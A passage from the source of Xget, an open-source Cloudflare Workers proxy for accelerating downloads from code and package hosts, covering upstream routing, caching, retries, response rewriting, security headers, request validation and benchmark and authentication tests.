effectivePath.replace(/^\/cr\/([^/]+)\//, '/cr/$1/v2/'); } return { effectivePath }; } /** * Resolves an effective request path to an upstream target URL. * @param {URL} url * @param {string} effectivePath * @param {{ [key: string]: string }} platforms * @returns {{ * cacheTargetUrl: string, * platform: string, * shouldVaryCacheByOrigin: boolean, * targetPath: string, * targetUrl: string * } | { response: Response }} Target metadata or an early redirect response. */ export function resolveTarget(url, effectivePath, platforms) { const platform = SORTED_PLATFORMS.find(key => { const expectedPrefix = `/${key.replace('-', '/')}/`; return effectivePath.startsWith(expectedPrefix); }) || effectivePath.split('/')[1]; if (!platform || !platforms[platform]) { return { response: createHomepageRedirect() }; } const platformPath = `/${platform.replace(/-/g, '/')}`; if (effectivePath === platformPath || effectivePath === `${platformPath}/`) { return { response: createHomepageRedirect() }; } const transformedPath = transformPath(effectivePath, platform); const targetPath = platform.startsWith('cr-') ? normalizeRegistryApiPath(platform, transformedPath) : transformedPath; const targetUrl = `${platforms[platform]}${targetPath}${url.search}`; const shouldVaryCacheByOrigin = platform === 'flathub' && isFlatpakReferenceFilePath(effectivePath); const cacheTargetUrl = shouldVaryCacheByOrigin ? `${targetUrl}${targetUrl.includes('?') ? '&' : '?'}__xget_origin=${encodeURIComponent(url.origin)}` : targetUrl; return { cacheTargetUrl, platform, shouldVaryCacheByOrigin, targetPath, targetUrl }; } ================================================ FILE: src/types.d.ts ================================================ /** * Global type declarations for Cloudflare Workers */ /** * Cloudflare Workers execution context * Provides methods for managing background tasks */ interface ExecutionContext { /** * Extend the lifetime of the request handler * @param promise - Promise to wait for in the background */ waitUntil(promise: Promise): void; /** * Prevent request from failing if an exception is thrown */ passThroughOnException(): void; } interface DenoEnv { /** * Reads an environment variable from Deno Deploy. * @param name - Environment variable name */ get(name: string): string | undefined; } interface DenoGlobal { env: DenoEnv; /** * Starts the Deno Deploy HTTP server. * @param handler - Request handler callback */ serve(handler: (request: Request) => Promise | Response): void; } declare const Deno: DenoGlobal; ================================================ FILE: src/upstream/cache.js ================================================ /** * Cache helpers for upstream request handling. */ /** * Reads the default Cloudflare cache when available. * @returns {Cache | null} Default runtime cache, or null when unavailable. */ export function getDefaultCache() { // @ts-ignore - Cloudflare Workers cache API return typeof caches !== 'undefined' && /** @type {any} */ (caches).default // eslint-disable-line jsdoc/reject-any-type ? // @ts-ignore - Cloudflare Workers cache API /** @type {any} */ (caches).default // eslint-disable-line jsdoc/reject-any-type : null; } /** * Attempts to satisfy a request from cache before reaching the upstream. * @param {{ * cache: Cache | null, * cacheTargetUrl: string, * canUseCache: boolean, * hasSensitiveHeaders: boolean, * monitor: import('../utils/performance.js').PerformanceMonitor, * request: Request, * requestContext: { * isAI: boolean, * isDocker: boolean, * isGit: boolean, * isGitLFS: boolean, * isHF: boolean * } * }} options * @returns {Promise} Cached response when one can be reused, otherwise null. */ export async function tryReadCachedResponse({ cache, cacheTargetUrl, canUseCache, hasSensitiveHeaders, monitor, request, requestContext }) { const { isAI, isDocker, isGit, isGitLFS, isHF } = requestContext; if ( !cache || !canUseCache || isGit || isGitLFS || isDocker || isAI || isHF || hasSensitiveHeaders ) { return null; } try { const cacheKey = new Request(cacheTargetUrl, { method: 'GET', headers: request.headers }); const cachedResponse = await cache.match(cacheKey); if (cachedResponse) { monitor.mark('cache_hit'); return cachedResponse; } const rangeHeader = request.headers.get('Range'); if (!rangeHeader) { return null; } const fullContentKey = new Request(cacheTargetUrl, { method: 'GET', headers: new Headers( [...request.headers.entries()].filter(([key]) => key.toLowerCase() !== 'range') ) }); const fullCachedResponse = await cache.match(fullContentKey); if (fullCachedResponse) { monitor.mark('cache_hit_full_content'); return fullCachedResponse; } } catch (cacheError) { console.warn('Cache API unavailable:', cacheError); } return null; } ================================================ FILE: src/upstream/fetch-upstream.js ================================================ import { configureAIHeaders } from '../protocols/ai.js'; import { fetchToken, getScopeFromUrl, parseAuthenticate, readRegistryTokenResponse, responseUnauthorized } from '../protocols/docker.js'; import { configureGitHeaders } from '../protocols/git.js'; import { configureHuggingFaceHeaders } from '../protocols/huggingface.js'; import { createErrorResponse } from '../utils/security.js'; const MEDIA_FILE_PATTERN = /\.(mp4|avi|mkv|mov|wmv|flv|webm|mp3|wav|flac|aac|ogg|jpg|jpeg|png|gif|bmp|svg|pdf|zip|rar|7z|tar|gz|bz2|xz)$/i; /** * Creates upstream fetch options for the current request. * @param {{ * authorization: string | null, * canUseCache: boolean, * config: import('../config/index.js').ApplicationConfig, * request: Request, * requestContext: { * isAI: boolean, * isDocker: boolean, * isGit: boolean, * isGitLFS: boolean, * isHF: boolean, * url: URL * }, * shouldPassthroughRequest: boolean, * targetUrl: string * }} options * @returns {{ fetchOptions: RequestInit, requestHeaders: Headers }} Fetch options and mutable headers. */ function createFetchOptions({ authorization, canUseCache, config, request, requestContext, shouldPassthroughRequest, targetUrl }) { const { isAI, isGit, isGitLFS, isHF, url } = requestContext; /** @type {RequestInit} */ const fetchOptions = { method: request.method, headers: new Headers(), redirect: 'follow' }; if (request.body !== null && !canUseCache) { fetchOptions.body = request.body; } const requestHeaders = /** @type {Headers} */ (fetchOptions.headers); if (shouldPassthroughRequest) { for (const [key, value] of request.headers.entries()) { if (!['host', 'connection', 'upgrade', 'proxy-connection'].includes(key.toLowerCase())) { requestHeaders.set(key, value); } } if (isGit || isGitLFS) { configureGitHeaders(requestHeaders, request, url, isGitLFS); } if (isAI) { configureAIHeaders(requestHeaders, request); } if (isHF) { configureHuggingFaceHeaders(requestHeaders, request); } return { fetchOptions, requestHeaders }; } Object.assign(fetchOptions, { cf: { http3: true, cacheTtl: config.CACHE_DURATION, cacheEverything: true, preconnect: true } }); requestHeaders.set('Accept-Encoding', 'gzip, deflate, br'); requestHeaders.set('Connection', 'keep-alive'); requestHeaders.set('User-Agent', 'Wget/1.21.3'); const origin = request.headers.get('Origin'); if (origin) { requestHeaders.set('Origin', origin); } if (authorization) { requestHeaders.set('Authorization', authorization); } const rangeHeader = request.headers.get('Range'); if (MEDIA_FILE_PATTERN.test(targetUrl) || rangeHeader) { requestHeaders.set('Accept-Encoding', 'identity'); } if (rangeHeader) { requestHeaders.set('Range', rangeHeader); } return { fetchOptions, requestHeaders }; } /** * Follows a Docker redirect without forwarding credentials to the redirected host. * @param {Response} response * @param {string} targetUrl * @param {RequestInit} finalFetchOptions * @returns {Promise} Redirect-followed response, or the original response when no redirect is needed. */ async function followDockerRedirectIfNeeded(response, targetUrl, finalFetchOptions) { if ( response.status !== 301 && response.status !== 302 && response.status !== 303 && response.status !== 307 && response.status !== 308 ) { return response; } const location = response.headers.get('Location'); if (!location) { return response; } const redirectHeaders = new Headers(finalFetchOptions.headers); redirectHeaders.delete('Authorization'); const redirectOptions = /** @type {RequestInit} */ ({ ...finalFetchOptions, headers: redirectHeaders, redirect: 'follow' }); return await fetch(new URL(location, targetUrl), redirectOptions); } /** * Executes the upstream fetch, including HEAD fallback probing and Docker redirect handling. * @param {{ * fetchOptions: RequestInit, * request: Request, * requestContext: { * isDocker: boolean * }, * requestHeaders: Headers, * targetUrl: string * }} options * @returns {Promise} Upstream response. */ async function executeFetch({ fetchOptions, request, requestContext, requestHeaders, targetUrl }) { const finalFetchOptions = /** @type {RequestInit} */ ({ ...fetchOptions, signal: /** @type {AbortSignal} */ (fetchOptions.signal) }); if (requestContext.isDocker) { finalFetchOptions.redirect = 'manual'; } let response; if (request.method === 'HEAD') { response = await fetch(targetUrl, finalFetchOptions); if (response.ok && !response.headers.get('Content-Length')) { const rangeHeaders = new Headers(requestHeaders); rangeHeaders.set('Range', 'bytes=0-0'); const rangeResponse = await fetch(targetUrl, { ...finalFetchOptions, method: 'GET', headers: rangeHeaders }); let contentLength = null; if (rangeResponse.status === 206) { const contentRange = rangeResponse.headers.get('Content-Range'); if (contentRange) { const match = contentRange.match(/bytes\s+\d+-\d+\/(\d+)/); if (match) { [, contentLength] = match; } } } else if (rangeResponse.ok) { contentLength = rangeResponse.headers.get('Content-Length'); } if (contentLength) { const headHeaders = new Headers(response.headers); headHeaders.set('Content-Length', contentLength); response = new Response(null, { status: response.status, statusText: response.statusText, headers: headHeaders }); } } } else { response = await fetch(targetUrl, finalFetchOptions); } if (requestContext.isDocker) { response = await followDockerRedirectIfNeeded(response, targetUrl, finalFetchOptions); } return response; } /** * Retries a Docker request with an anonymous bearer token when the registry challenges first. * @param {{ * effectivePath: string, * platform: string, * requestHeaders: Headers, * requestContext: { * isDocker: boolean, * url: URL * }, * response: Response, * targetUrl: string, * finalFetchOptions: RequestInit * }} options * @returns {Promise} Successful retried response, or a synthesized auth challenge response. */ async function retryDockerWithAnonymousToken({ effectivePath, finalFetchOptions, platform, requestContext, requestHeaders, response, targetUrl }) { const authenticateStr = response.headers.get('WWW-Authenticate'); const scope = getScopeFromUrl(requestContext.url, effectivePath, platform); if (authenticateStr) { try { const wwwAuthenticate = parseAuthenticate(authenticateStr); const tokenResponse = await fetchToken(wwwAuthenticate, scope || '', ''); if (tokenResponse.ok) { const token = await readRegistryTokenResponse(tokenResponse); if (token) { const retryHeaders = new Headers(requestHeaders); retryHeaders.set('Authorization', `Bearer ${token}`); const retryOptions = /** @type {RequestInit} */ ({ ...finalFetchOptions, headers: retryHeaders, redirect: 'manual' }); let retryResponse = await fetch(targetUrl, retryOptions); retryResponse = await followDockerRedirectIfNeeded( retryResponse, targetUrl, retryOptions ); if (retryResponse.ok) { return retryResponse; } } } } catch (error) { console.warn('Token fetch failed:', error); } } return responseUnauthorized(requestContext.url, platform); } /** * Fetches an upstream resource with retries and protocol-specific handling. * @param {{ * authorization: string | null, * canUseCache: boolean, * config: import('../config/index.js').ApplicationConfig, * effectivePath: string, * monitor: import('../utils/performance.js').PerformanceMonitor, * platform: string, * request: Request, * requestContext: { * isAI: boolean, * isDocker: boolean, * isGit: boolean, * isGitLFS: boolean, * isHF: boolean, * url: URL * }, * shouldPassthroughRequest: boolean, * targetUrl: string * }} options * @returns {Promise<{ response: Response, responseGeneratedLocally: boolean }>} Upstream or synthesized response. */ export async function fetchUpstreamResponse({ authorization, canUseCache, config, effectivePath, monitor, platform, request, requestContext, shouldPassthroughRequest, targetUrl }) { let response; let responseGeneratedLocally = false; const { fetchOptions, requestHeaders } = createFetchOptions({ authorization, canUseCache, config, request, requestContext, shouldPassthroughRequest, targetUrl }); let attempts = 0; while (attempts < config.MAX_RETRIES) { /** @type {ReturnType | undefined} */ let timeoutId; try { monitor.mark(`attempt_${attempts}`); const controller = new AbortController(); timeoutId = setTimeout(() => controller.abort(), config.TIMEOUT_SECONDS * 1000); fetchOptions.signal = controller.signal; response = await executeFetch({ fetchOptions, request, requestContext, requestHeaders, targetUrl }); if (response.ok || response.status === 206) { monitor.mark('success'); break; } if (requestContext.isDocker && response.status === 401) { monitor.mark('docker_auth_challenge'); response = await retryDockerWithAnonymousToken({ effectivePath, finalFetchOptions: fetchOptions, platform, requestContext, requestHeaders, response, targetUrl }); if (response.ok) { monitor.mark('success'); } break; } if (response.status >= 400 && response.status < 500) { monitor.mark('client_error'); break; } attempts++; if (attempts < config.MAX_RETRIES) { await new Promise(resolve => setTimeout(resolve, config.RETRY_DELAY_MS * attempts)); } } catch (error) { attempts++; if (error instanceof Error && error.name === 'AbortError') { response = createErrorResponse('Request timeout', 408); responseGeneratedLocally = true; break; } if (attempts >= config.MAX_RETRIES) { response = createErrorResponse('Upstream request failed', 502); responseGeneratedLocally = true; break; } await new Promise(resolve => setTimeout(resolve, config.RETRY_DELAY_MS * attempts)); } finally { if (timeoutId !== undefined) { clearTimeout(timeoutId); } } } if (!response) { response = createErrorResponse('No response received after all retry attempts', 500); responseGeneratedLocally = true; } return { response, responseGeneratedLocally }; } ================================================ FILE: src/utils/performance.js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see . */ /** * Performance monitoring utilities for Xget */ import { addSecurityHeaders } from './security.js'; /** * Monitors performance metrics during request processing. * * This class tracks timing information throughout request handling lifecycle, * allowing measurement of cache hits, upstream fetch attempts, and total processing time. */ export class PerformanceMonitor { /** * Initializes a new performance monitor. * * Sets the start time to the current timestamp and creates an empty marks collection. * All subsequent timing marks will be relative to this start time. */ constructor() { this.startTime = Date.now(); this.marks = new Map(); } /** * Marks a timing point with the given name. * * Records the elapsed time (in milliseconds) since the monitor was created. * If a mark with the same name already exists, logs a warning and overwrites it. * @param {string} name - The name of the timing mark (e.g., 'cache_hit', 'attempt_0', 'success') */ mark(name) { if (this.marks.has(name)) { console.warn(`Mark with name ${name} already exists.`); } this.marks.set(name, Date.now() - this.startTime); } /** * Returns all collected metrics as a plain object. * * Converts the internal Map of timing marks to a JavaScript object suitable for * JSON serialization and inclusion in response headers. * @returns {{ [key: string]: number }} Object containing name-timestamp pairs in milliseconds */ getMetrics() { return Object.fromEntries(this.marks.entries()); } } /** * Adds performance metrics to response headers. * * Creates a new response with an X-Performance-Metrics header containing * timing data from the PerformanceMonitor instance. Also ensures security * headers are included. * * **Note:** This header is only added to non-protocol responses (not Git/Docker/AI). * @param {Response} response - The original response object * @param {PerformanceMonitor} monitor - Performance monitor instance with collected metrics * @returns {Response} New response with added performance and security headers */ export function addPerformanceHeaders(response, monitor) { const headers = new Headers(response.headers); headers.set('X-Performance-Metrics', JSON.stringify(monitor.getMetrics())); addSecurityHeaders(headers); return new Response(response.body, { status: response.status, headers }); } ================================================ FILE: src/utils/rewrite.js ================================================ /** * Xget - Platform-specific upstream response rewriting helpers. */ const FLATHUB_REPO_BASE_URL_PATTERN = /https:\/\/(?:dl\.)?flathub\.org\/repo\//g; const FLATPAK_REFERENCE_FILE_PATTERN = /\.(flatpakrepo|flatpakref)$/i; /** * Checks whether a successful upstream response should be rewritten before returning it. * @param {string} platform * @param {string} requestPath * @param {string} contentType * @returns {boolean} True when the upstream response body should be rewritten. */ export function shouldRewriteTextResponse(platform, requestPath, contentType = '') { if (platform === 'pypi') { return contentType.includes('text/html'); } if (platform === 'npm') { return contentType.includes('application/json'); } if (platform === 'flathub') { return FLATPAK_REFERENCE_FILE_PATTERN.test(requestPath); } return false; } /** * Checks whether a request path points to a Flatpak descriptor file. * @param {string} requestPath * @returns {boolean} True when the request targets a `.flatpakrepo` or `.flatpakref` file. */ export function isFlatpakReferenceFilePath(requestPath) { return FLATPAK_REFERENCE_FILE_PATTERN.test(requestPath); } /** * Rewrites upstream text responses so follow-up requests continue flowing through Xget. * @param {string} platform * @param {string} requestPath * @param {string} originalText * @param {string} origin * @returns {string} Rewritten response text. */ export function rewriteTextResponse(platform, requestPath, originalText, origin) { if (platform === 'pypi') { return originalText.replace(/https:\/\/files\.pythonhosted\.org/g, `${origin}/pypi/files`); } if (platform === 'npm') { return originalText.replace(/https:\/\/registry\.npmjs\.org\/([^/]+)/g, `${origin}/npm/$1`); } if (platform === 'flathub' && isFlatpakReferenceFilePath(requestPath)) { return originalText.replace(FLATHUB_REPO_BASE_URL_PATTERN, `${origin}/flathub/repo/`); } return originalText; } ================================================ FILE: src/utils/security.js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see . */ /** * Security utility functions for Xget */ /** * Resolves the allowed CORS origin for the current request. * @param {Request} request * @param {import('../config/index.js').ApplicationConfig} config * @returns {string | null} Allowed origin value for the response, or null if not allowed. */ export function resolveAllowedOrigin(request, config) { const origin = request.headers.get('Origin'); if (!origin) { return null; } const allowedOrigins = config.SECURITY.ALLOWED_ORIGINS; if (allowedOrigins.includes('*')) { return '*'; } return allowedOrigins.includes(origin) ? origin : null; } /** * Applies CORS headers to a response when the request origin is allowed. * @param {Headers} headers * @param {Request} request * @param {import('../config/index.js').ApplicationConfig} config * @returns {Headers} The same headers object with CORS headers applied when permitted. */ export function addCorsHeaders(headers, request, config) { const allowedOrigin = resolveAllowedOrigin(request, config); if (!allowedOrigin) { return headers; } headers.set('Access-Control-Allow-Origin', allowedOrigin); headers.set('Access-Control-Allow-Methods', config.SECURITY.ALLOWED_METHODS.join(', ')); const requestedHeaders = request.headers.get('Access-Control-Request-Headers'); if (requestedHeaders) { headers.set('Access-Control-Allow-Headers', requestedHeaders); } const vary = new Set( (headers.get('Vary') || '') .split(',') .map(value => value.trim()) .filter(Boolean) ); vary.add('Origin'); headers.set('Vary', Array.from(vary).join(', ')); return headers; } /** * Adds comprehensive security headers to response headers. * * applies industry-standard security headers including: * - HSTS (HTTP Strict Transport Security) * - X-Frame-Options (clickjacking protection) * - X-XSS-Protection (XSS filter) * - Referrer-Policy (referrer information control) * - Content-Security-Policy (resource loading restrictions) * - Permissions-Policy (privacy-invasive feature restrictions) * @param {Headers} headers - Headers object to modify (mutates in place) * @returns {Headers} Modified headers object (same reference) */ export function addSecurityHeaders(headers) { headers.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload'); headers.set('X-Frame-Options', 'DENY'); headers.set('X-XSS-Protection', '1; mode=block'); headers.set('Referrer-Policy', 'strict-origin-when-cross-origin'); headers.set('Content-Security-Policy', "default-src 'none'; img-src 'self'; script-src 'none'"); headers.set('Permissions-Policy', 'interest-cohort=()'); return headers; } /** * Creates a standardized error response with security headers. * * Generates an HTTP error response with appropriate content type and security headers. * Can return either plain text or detailed JSON error format. * @param {string} message - Error message to display * @param {number} status - HTTP status code (e.g., 400, 404, 500) * @param {boolean} includeDetails - Whether to include detailed JSON error information * @returns {Response} Error response with security headers */ export function createErrorResponse(message, status, includeDetails = false) { const errorBody = includeDetails ? JSON.stringify({ error: message, status, timestamp: new Date().toISOString() }) : message; return new Response(errorBody, { status, headers: addSecurityHeaders( new Headers({ 'Content-Type': includeDetails ? 'application/json' : 'text/plain' }) ) }); } ================================================ FILE: src/utils/validation.js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see . */ /** * Request validation utilities for Xget */ import { CONFIG } from '../config/index.js'; // Imported protocol checks import { isAIInferenceRequest } from '../protocols/ai.js'; import { isGitLFSRequest, isGitRequest } from '../protocols/git.js'; import { isHuggingFaceAPIRequest } from '../protocols/huggingface.js'; /** * Computes protocol and request traits used across validation, routing, and response handling. * @param {Request} request * @param {URL} url * @returns {{ * isAI: boolean, * isDocker: boolean, * isGit: boolean, * isGitLFS: boolean, * isHF: boolean * }} Request traits for the current request. */ export function getRequestTraits(request, url) { return { isAI: isAIInferenceRequest(request, url), isDocker: isDockerRequest(request, url), isGit: isGitRequest(request, url), isGitLFS: isGitLFSRequest(request, url), isHF: isHuggingFaceAPIRequest(request, url) }; } /** * Checks whether a request should use protocol passthrough behavior. * @param {{ * isAI: boolean, * isDocker: boolean, * isGit: boolean, * isGitLFS: boolean, * isHF: boolean * }} traits * @returns {boolean} True when request handling should follow protocol passthrough rules. */ export function isProtocolRequest(traits) { return traits.isGit || traits.isGitLFS || traits.isDocker || traits.isAI || traits.isHF; } /** * Best-effort decode for security validation. * * URL.pathname may keep some reserved characters percent-encoded (e.g. %2F). * We decode a couple of times to catch traversal attempts like %2e%2e%2f. * @param {string} pathname * @returns {{ok: true, value: string} | {ok: false}} Decoded path result */ function decodePathnameForValidation(pathname) { let decoded = pathname; for (let i = 0; i < 2; i++) { if (!/%[0-9a-fA-F]{2}/.test(decoded)) { break; } try { decoded = decodeURIComponent(decoded); } catch { return { ok: false }; } } return { ok: true, value: decoded }; } /** * Detects directory traversal patterns in a URL path. * @param {string} pathname * @returns {boolean} True if traversal is detected */ function hasPathTraversal(pathname) { const decodedResult = decodePathnameForValidation(pathname); if (!decodedResult.ok) { return true; } const decoded = decodedResult.value.replace(/\\/g, '/'); return /(^|\/)\.\.(\/|$)/.test(decoded); } /** * Checks for ASCII control characters. * @param {string} value * @returns {boolean} True if ASCII control chars are present */ function hasAsciiControlChars(value) { for (let i = 0; i < value.length; i++) { const code = value.charCodeAt(i); if (code <= 31 || code === 127) { return true; } } return false; } /** * Detects if a request is a container registry operation (Docker/OCI). * * Identifies Docker and OCI registry requests by checking for: * - Registry API endpoints (/v2/...) * - Docker-specific User-Agent headers * - Docker/OCI manifest Accept headers * @param {Request} request - The incoming request object * @param {URL} url - Parsed URL object * @returns {boolean} True if this is a container registry operation */ export function isDockerRequest(request, url) { const { pathname } = url; // Check for container registry API endpoints if (pathname === '/v2' || pathname === '/v2/' || pathname.startsWith('/v2/')) { return true; } if (pathname.startsWith('/cr/')) { if (/^\/cr\/[^/]+\/v2(?:\/|$)/.test(pathname)) { return true; } const userAgent = request.headers.get('User-Agent') || ''; if (userAgent.toLowerCase().includes('docker/')) { return true; } const accept = request.headers.get('Accept') || ''; if ( accept.includes('application/vnd.docker.distribution.manifest') || accept.includes('application/vnd.oci.image.manifest') || accept.includes('application/vnd.docker.image.rootfs.diff.tar.gzip') ) { return true; } const contentType = request.headers.get('Content-Type') || ''; if ( contentType.includes('application/vnd.docker.distribution.manifest') || contentType.includes('application/vnd.oci.image.manifest') ) { return true; } } return false; } // Re-export for standard usage export { isAIInferenceRequest, isGitLFSRequest, isGitRequest, isHuggingFaceAPIRequest }; /** * Computes the allowed methods for a request based on protocol detection. * @param {Request} request * @param {URL} url * @param {import('../config/index.js').ApplicationConfig} config * @returns {string[]} Allowed HTTP methods for this request shape. */ export function getAllowedMethods(request, url, config = CONFIG) { const traits = getRequestTraits(request, url); return isProtocolRequest(traits) ? ['GET', 'HEAD', 'POST', 'PUT', 'PATCH', 'DELETE'] : config.SECURITY.ALLOWED_METHODS; } /** * Validates incoming requests against security rules. * * Performs security validation including: * - HTTP method validation (with special allowances for protocol-specific operations) * - URL path length limits * * Different protocols have different allowed methods: * - Regular requests: GET, HEAD (configurable via SECURITY.ALLOWED_METHODS) * - Git/LFS/Docker/AI/Hugging Face API: GET, HEAD, POST, PUT, PATCH, DELETE * @param {Request} request - The incoming request object * @param {URL} url - Parsed URL object * @param {import('../config/index.js').ApplicationConfig} config - Configuration object * @param {{ * isAI: boolean, * isDocker: boolean, * isGit: boolean, * isGitLFS: boolean, * isHF: boolean * }} traits - Pre-computed request traits to avoid repeated protocol detection. * @returns {{valid: boolean, error?: string, status?: number}} Validation result object */ export function validateRequest( request, url, config = CONFIG, traits = getRequestTraits(request, url) ) { const allowedMethods = isProtocolRequest(traits) ? ['GET', 'HEAD', 'POST', 'PUT', 'PATCH', 'DELETE'] : config.SECURITY.ALLOWED_METHODS; if (!allowedMethods.includes(request.method)) { return { valid: false, error: 'Method not allowed', status: 405 }; } if (url.pathname.length > config.SECURITY.MAX_PATH_LENGTH) { return { valid: false, error: 'Path too long', status: 414 }; } // Reject obvious traversal in the raw URL path (before URL normalization). // Some runtimes normalize `..` segments when parsing URL.pathname. const rawPathname = request.url.startsWith(url.origin) ? request.url.slice(url.origin.length).split('?')[0].split('#')[0].replace(/\\/g, '/') : url.pathname; if (/(^|\/)\.\.(\/|$)/.test(rawPathname)) { return { valid: false, error: 'Invalid path', status: 400 }; } // Reject control characters and directory traversal attempts. // This protects both our routing logic and upstream requests. if (hasAsciiControlChars(url.pathname)) { return { valid: false, error: 'Invalid path', status: 400 }; } if (hasPathTraversal(url.pathname)) { return { valid: false, error: 'Invalid path', status: 400 }; } return { valid: true }; } ================================================ FILE: test/benchmark/performance.bench.js ================================================ import { SELF } from 'cloudflare:test'; import { bench, describe } from 'vitest'; import { TEST_URLS } from '../helpers/test-utils.js'; describe('Performance Benchmarks', () => { describe('Request Processing Speed', () => { bench('Basic request handling', async () => { await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'HEAD' }); }); bench('GitHub file request', async () => { await SELF.fetch(TEST_URLS.github.file, { method: 'HEAD' }); }); bench('GitLab file request', async () => { await SELF.fetch(TEST_URLS.gitlab.file, { method: 'HEAD' }); }); bench('Hugging Face model request', async () => { await SELF.fetch(TEST_URLS.huggingface.model, { method: 'HEAD' }); }); bench('npm package request', async () => { await SELF.fetch(TEST_URLS.npm.package, { method: 'HEAD' }); }); bench('PyPI package request', async () => { await SELF.fetch(TEST_URLS.pypi.simple, { method: 'HEAD' }); }); bench('conda package request', async () => { await SELF.fetch(TEST_URLS.conda.main, { method: 'HEAD' }); }); }); describe('Git Protocol Performance', () => { bench('Git info/refs request', async () => { await SELF.fetch('https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', { headers: { 'User-Agent': 'git/2.34.1' } }); }); bench('Git upload-pack request', async () => { await SELF.fetch('https://example.com/gh/test/repo.git/git-upload-pack', { method: 'POST', headers: { 'User-Agent': 'git/2.34.1', 'Content-Type': 'application/x-git-upload-pack-request' }, body: '0000' }); }); }); describe('Security Header Processing', () => { bench('Security headers addition', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); // Verify headers are present (this adds to processing time) response.headers.get('Strict-Transport-Security'); response.headers.get('X-Frame-Options'); response.headers.get('X-XSS-Protection'); response.headers.get('Content-Security-Policy'); response.headers.get('Referrer-Policy'); }); }); describe('Error Handling Performance', () => { bench('404 error handling', async () => { await SELF.fetch('https://example.com/gh/nonexistent/repo/file.txt'); }); bench('400 error handling', async () => { await SELF.fetch('https://example.com/invalid-platform/test'); }); bench('405 error handling', async () => { await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'DELETE' }); }); }); describe('Concurrent Request Handling', () => { bench('10 concurrent requests', async () => { const requests = Array(10) .fill(null) .map(() => SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'HEAD' }) ); await Promise.all(requests); }); bench('50 concurrent requests', async () => { const requests = Array(50) .fill(null) .map(() => SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'HEAD' }) ); await Promise.all(requests); }); }); describe('Path Processing Performance', () => { bench('Short path processing', async () => { await SELF.fetch('https://example.com/gh/a/b', { method: 'HEAD' }); }); bench('Medium path processing', async () => { await SELF.fetch('https://example.com/gh/user/repository/path/to/some/file.txt', { method: 'HEAD' }); }); bench('Long path processing', async () => { const longPath = `/gh/user/repo/${'very-long-path-segment/'.repeat(20)}file.txt`; await SELF.fetch(`https://example.com${longPath}`, { method: 'HEAD' }); }); }); describe('URL Parsing Performance', () => { bench('Simple URL parsing', async () => { await SELF.fetch('https://example.com/gh/user/repo'); }); bench('URL with query parameters', async () => { await SELF.fetch('https://example.com/gh/user/repo/file.txt?ref=main&path=src'); }); bench('URL with fragments', async () => { await SELF.fetch('https://example.com/gh/user/repo/README.md#section'); }); bench('Complex URL parsing', async () => { await SELF.fetch( 'https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123' ); }); }); describe('Memory Usage Patterns', () => { bench('Request object creation', async () => { const request = new Request('https://example.com/gh/test/repo/file.txt', { method: 'GET', headers: { 'User-Agent': 'Test/1.0', Accept: '*/*' } }); // Process the request await SELF.fetch(request); }); bench('Response object processing', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); // Access various response properties response.status; response.statusText; response.headers.get('Content-Type'); response.headers.get('X-Performance-Metrics'); }); }); describe('Platform-Specific Performance', () => { bench('GitHub platform processing', async () => { await SELF.fetch('https://example.com/gh/microsoft/vscode/blob/main/package.json'); }); bench('GitLab platform processing', async () => { await SELF.fetch('https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json'); }); bench('Hugging Face platform processing', async () => { await SELF.fetch('https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json'); }); bench('npm platform processing', async () => { await SELF.fetch('https://example.com/npm/react'); }); bench('PyPI platform processing', async () => { await SELF.fetch('https://example.com/pypi/simple/requests/'); }); bench('conda platform processing', async () => { await SELF.fetch('https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda'); }); }); }); ================================================ FILE: test/features/auth.test.js ================================================ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import worker from '../../src/index.js'; /** @type {ExecutionContext} */ const executionContext = { waitUntil() {}, passThroughOnException() {} }; describe('Authentication Header Forwarding', () => { /** @type {{ match: ReturnType, put: ReturnType }} */ let cacheDefault; beforeEach(() => { cacheDefault = { match: vi.fn(async () => null), put: vi.fn(async () => undefined) }; vi.stubGlobal('caches', { default: cacheDefault }); }); afterEach(() => { vi.unstubAllGlobals(); vi.restoreAllMocks(); }); it('forwards Authorization for authenticated file requests and disables caching', async () => { const authToken = 'Bearer ghp_test_token_12345'; const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response(null, { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const response = await worker.fetch( new Request('https://example.com/gh/test/private-repo/README.md', { method: 'HEAD', headers: { Authorization: authToken } }), {}, executionContext ); expect(response.status).toBe(200); expect(new 